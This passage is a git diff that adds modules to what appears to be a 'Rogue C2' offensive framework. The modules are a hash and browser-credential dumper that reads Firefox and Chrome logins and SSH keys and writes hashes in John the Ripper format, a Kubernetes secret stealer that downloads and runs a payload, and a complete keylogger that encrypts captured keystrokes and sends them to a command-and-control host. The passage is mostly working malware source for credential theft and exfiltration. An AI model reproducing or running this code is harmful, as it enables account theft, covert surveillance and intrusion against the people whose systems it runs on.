self.extract_firefox_credentials() + if firefox_profiles: + credentials.append({"browser": "firefox", "profiles": firefox_profiles}) + + # Chrome/Chromium credentials + chrome_creds = self.extract_chrome_credentials() + if chrome_creds: + credentials.append({"browser": "chrome", "credentials": chrome_creds}) + + except Exception as e: + credentials.append({"error": str(e)}) + + return credentials + + def extract_firefox_credentials(self): + """Extract Firefox logins""" + profiles = [] + + try: + firefox_path = os.path.expanduser("~/.mozilla/firefox/") + if os.path.exists(firefox_path): + for profile_dir in os.listdir(firefox_path): + if profile_dir.endswith('.default') or profile_dir.endswith('.default-release'): + profile_path = os.path.join(firefox_path, profile_dir) + + # Look for logins.json + logins_file = os.path.join(profile_path, 'logins.json') + if os.path.exists(logins_file): + with open(logins_file, 'r') as f: + logins_data = json.load(f) + profiles.append({ + "profile": profile_dir, + "logins": logins_data.get("logins", [])[:10] # Limit to first 10 + }) + + # Look for key4.db for decryption key + key_db = os.path.join(profile_path, 'key4.db') + if os.path.exists(key_db): + profiles.append({ + "profile": profile_dir, + "key_db": "Present - contains encryption keys" + }) + + except Exception as e: + profiles.append({"error": f"Firefox extraction failed: {str(e)}"}) + + return profiles + + def extract_chrome_credentials(self): + """Extract Chrome saved passwords""" + credentials = [] + + try: + chrome_path = os.path.expanduser("~/.config/google-chrome/Default/Login Data") + if os.path.exists(chrome_path): + # Copy the database to read it + temp_db = tempfile.NamedTemporaryFile(delete=False, suffix='.db').name + shutil.copy2(chrome_path, temp_db) + + # Query the database + conn = sqlite3.connect(temp_db) + cursor = conn.cursor() + + cursor.execute("SELECT origin_url, username_value, password_value FROM logins") + rows = cursor.fetchall() + + for row in rows: + url, username, encrypted_password = row + if username: + credentials.append({ + "url": url, + "username": username, + "password": f"" if encrypted_password else "" + }) + + conn.close() + os.unlink(temp_db) + + except Exception as e: + credentials.append({"error": f"Chrome extraction failed: {str(e)}"}) + + return credentials + + def execute(self): + """Execute all hash dumping operations""" + try: + print("[+] Starting password hash extraction...") + + # Run all extractors + self.results["system_hashes"]["linux"] = self.dump_linux_hashes() + self.results["system_hashes"]["windows"] = self.dump_windows_hashes() + self.results["memory_dumps"] = self.dump_memory_for_hashes() + self.results["ssh_keys"] = self.extract_ssh_keys() + self.results["browser_credentials"] = self.dump_browser_credentials() + + # Generate summary + summary = { + "timestamp": datetime.datetime.now().isoformat(), + "hostname": socket.gethostname(), + "extracted_hashes": len(self.results["system_hashes"]["linux"]) + len(self.results["system_hashes"]["windows"]), + "ssh_keys_found": len(self.results["ssh_keys"]), + "browser_credentials": sum(len(c.get("profiles", [])) if isinstance(c, dict) else 0 for c in self.results["browser_credentials"]), + "memory_processes": len(self.results["memory_dumps"]) + } + + # Save detailed results + output_dir = os.path.expanduser("~/.cache/.rogue/hashes") + os.makedirs(output_dir, exist_ok=True) + + output_file = os.path.join(output_dir, f"hashdump_{socket.gethostname()}_{datetime.datetime.now().strftime('%Y%m%d_%H%M%S')}.json") + with open(output_file, 'w') as f: + json.dump(self.results, f, indent=2, default=str) + + # Also save hashes in John the Ripper format + john_file = os.path.join(output_dir, f"hashes_john_{socket.gethostname()}.txt") + with open(john_file, 'w') as f: + for username, hash_val in self.results["system_hashes"]["linux"].items(): + if hash_val and hash_val not in ['*', '!', '!!', 'x']: + f.write(f"{username}:{hash_val}\n") + + print(f"[+] Hash extraction complete. Results saved to: {output_file}") + print(f"[+] John the Ripper format saved to: {john_file}") + + return json.dumps(summary, indent=2) + + except Exception as e: + return f"[!] Hash extraction failed: {str(e)}" + +# === Integration with Rogue C2 === +def rogue_integration(): + """Wrapper for Rogue C2 integration""" + dumper = HashDumper() + return dumper.execute() + +if __name__ == "__main__": + print(rogue_integration()) diff --git a/k8s_secret_stealer.py b/k8s_secret_stealer.py new file mode 100644 index 0000000..0b0a75a --- /dev/null +++ b/k8s_secret_stealer.py @@ -0,0 +1,93 @@ +def trigger_k8s_steal(): + """Wrapper function for Rogue implant integration""" + print("[+] Starting Kubernetes secret stealer...") + + # Download the payload if not present + payload_path = fetch_payload("k8s_secret_stealer.py") + if not payload_path: + return "[!] Failed to download k8s_secret_stealer.py" + + # Run the payload + try: + result = subprocess.run( + ["python3", payload_path, "--dump-all"], + capture_output=True, + text=True, + timeout=300 # 5 minutes timeout + ) + + if result.returncode == 0: + output = result.stdout + + # Extract output directory from results + import re + dir_match = re.search(r"Output directory: (.*?)\n", output) + if dir_match: + output_dir = dir_match.group(1) + + # Create summary + summary = f"[+] Kubernetes secret stealing completed\n" + summary += f"[+] Output directory: {output_dir}\n" + + # Count files + import os + file_count = 0 + for root, dirs, files in os.walk(output_dir): + file_count += len(files) + + summary += f"[+] Total files extracted: {file_count}\n" + + # Look for interesting files + interesting_paths = [ + os.path.join(output_dir, "tokens"), + os.path.join(output_dir, "certificates"), + os.path.join(output_dir, "ssh_keys"), + ] + + for path in interesting_paths: + if os.path.exists(path): + count = len(os.listdir(path)) + summary += f"[+] Found {count} items in {os.path.basename(path)}\n" + + return summary + "\n" + output[-1000:] # Last 1000 chars of output + else: + return output[-2000:] # Last 2000 chars if can't parse + + else: + return f"[!] Kubernetes secret stealer failed:\n{result.stderr}" + + except subprocess.TimeoutExpired: + return "[!] Kubernetes secret stealer timed out (5 minutes)" + except Exception as e: + return f"[!] Error running Kubernetes secret stealer: {e}" + +def trigger_k8s_targeted(namespace=None, secret=None): + """Targeted Kubernetes secret stealing""" + if not namespace: + return "[!] Usage: trigger_k8s_targeted [secret_name]" + + print(f"[+] Starting targeted Kubernetes secret stealer for namespace: {namespace}") + + payload_path = fetch_payload("k8s_secret_stealer.py") + if not payload_path: + return "[!] Failed to download k8s_secret_stealer.py" + + try: + cmd = ["python3", payload_path, "--target-namespace", namespace] + if secret: + cmd.extend(["--target-secret", secret]) + + result = subprocess.run( + cmd, + capture_output=True, + text=True, + timeout=120 # 2 minutes timeout + ) + + if result.returncode == 0: + return f"[+] Targeted Kubernetes secret stealing completed\n{result.stdout[-1000:]}" + else: + return f"[!] Targeted stealing failed:\n{result.stderr}" + + except Exception as e: + return f"[!] Error: {e}" diff --git a/keylogger.py b/keylogger.py new file mode 100644 index 0000000..d185290 --- /dev/null +++ b/keylogger.py @@ -0,0 +1,162 @@ +#!/usr/bin/env python3 +""" +PAYLOAD: Keystroke Logger +DESCRIPTION: Logs keystrokes and exfiltrates them to C2 +AUTHOR: Rogue Red Team +VERSION: 2.0 +SECURITY: This tool logs sensitive input - Use only on authorized systems +""" +import os, sys, time, json, threading, datetime, socket, base64, hashlib +from pynput import keyboard +from Cryptodome.Cipher import AES + +class KeyLogger: + def __init__(self, exfil_interval=60, c2_host=None, c2_port=9091): + self.log = [] + self.running = False + self.exfil_interval = exfil_interval + self.c2_host = c2_host or self.get_default_c2() + self.c2_port = c2_port + self.encryption_key = hashlib.sha256(b'RogueKeyLogger2024').digest() + self.output_dir = os.path.expanduser("~/.cache/.rogue/keylogs") + os.makedirs(self.output_dir, exist_ok=True) + + def get_default_c2(self): + """Get C2 host from environment or default""" + return os.environ.get('ROGUE_C2_HOST', 'localhost') + + def on_press(self, key): + """Callback for key press""" + try: + key_str = key.char + except AttributeError: + if key == keyboard.Key.space: + key_str = ' ' + elif key == keyboard.Key.enter: + key_str = '\n' + elif key == keyboard.Key.tab: + key_str = '\t' + elif key == keyboard.Key.backspace: + key_str = '[BACKSPACE]' + elif key == keyboard.Key.esc: + key_str = '[ESC]' + else: + key_str = f'[{key.name}]' + + timestamp = datetime.datetime.now().isoformat() + log_entry = { + "timestamp": timestamp, + "key": key_str, + "event": "press" + } + + self.log.append(log_entry) + + # Write to local file as backup + self.write_to_local(log_entry) + + def write_to_local(self, entry): + """Write log entry to local file""" + log_file = os.path.join(self.output_dir, f"keylog_{datetime.datetime.now().strftime('%Y%m%d')}.log") + with open(log_file, 'a') as f: + f.write(f"{entry['timestamp']} - {entry['key']}\n") + + def encrypt_logs(self, data): + """Encrypt log data for exfiltration""" + cipher = AES.new(self.encryption_key, AES.MODE_EAX) + ciphertext, tag = cipher.encrypt_and_digest(json.dumps(data).encode()) + encrypted = cipher.nonce + tag + ciphertext + return base64.b64encode(encrypted).decode() + + def exfil_logs(self): + """Exfiltrate logs to C2 server""" + if not self.log: + return + + # Take a copy of current logs and clear + logs_to_send = self.log.copy() + self.log.clear() + + try: + encrypted_data = self.encrypt_logs(logs_to_send) + + # Send to C2 + s = socket.socket() + s.connect((self.c2_host, self.c2_port)) + s.sendall(encrypted_data.encode()) + s.close() + + print(f"[+] Exfiltrated {len(logs_to_send)} keystrokes to {self.c2_host}:{self.c2_port}") + + except Exception as e: + print(f"[!] Exfiltration failed: {e}") + # Restore logs if exfiltration failed + self.log = logs_to_send + self.log + + def start_exfiltration_thread(self): + """Start thread for periodic exfiltration""" + def exfil_loop(): + while self.running: + time.sleep(self.exfil_interval) + self.exfil_logs() + + thread = threading.Thread(target=exfil_loop, daemon=True) + thread.start() + + def start(self): + """Start the keylogger""" + print(f"[+] Starting keylogger. Exfiltration to {self.c2_host}:{self.c2_port} every {self.exfil_interval}s") + print(f"[+] Local logs stored in: {self.output_dir}") + print("[+] Press Ctrl+C to stop") + + self.running = True + self.start_exfiltration_thread() + + try: + with keyboard.Listener(on_press=self.on_press) as listener: + listener.join() + except KeyboardInterrupt: + print("[+] Stopping keylogger...") + finally: + self.stop() + + def stop(self): + """Stop the keylogger""" + self.running = False + # Final exfiltration + self.exfil_logs() + print("[+] Keylogger stopped") + +def rogue_integration(): + """Wrapper for Rogue C2 integration""" + import argparse + + parser = argparse.ArgumentParser(description='Rogue Keylogger') + parser.add_argument('--interval', type=int, default=60, help='Exfiltration interval in seconds') + parser.add_argument('--c2-host', help='C2 server hostname') + parser.add_argument('--c2-port', type=int, default=9091, help='C2 server port') + + args, unknown = parser.parse_known_args() + + # Check if we're being called from Rogue with arguments + if len(sys.argv) > 1 and sys.argv[1] == '--rogue-integration': + # Parse Rogue-style arguments + args.interval = 60 + args.c2_host = None + + keylogger = KeyLogger( + exfil_interval=args.interval, + c2_host=args.c2_host, + c2_port=args.c2_port + ) + + try: + keylogger.start() + return "[+] Keylogger started successfully" + except Exception as e: + return f"[!] Keylogger failed to start: {e}" + +if __name__ == "__main__": + # When run directly, start the keylogger + keylogger = KeyLogger() + keylogger.start()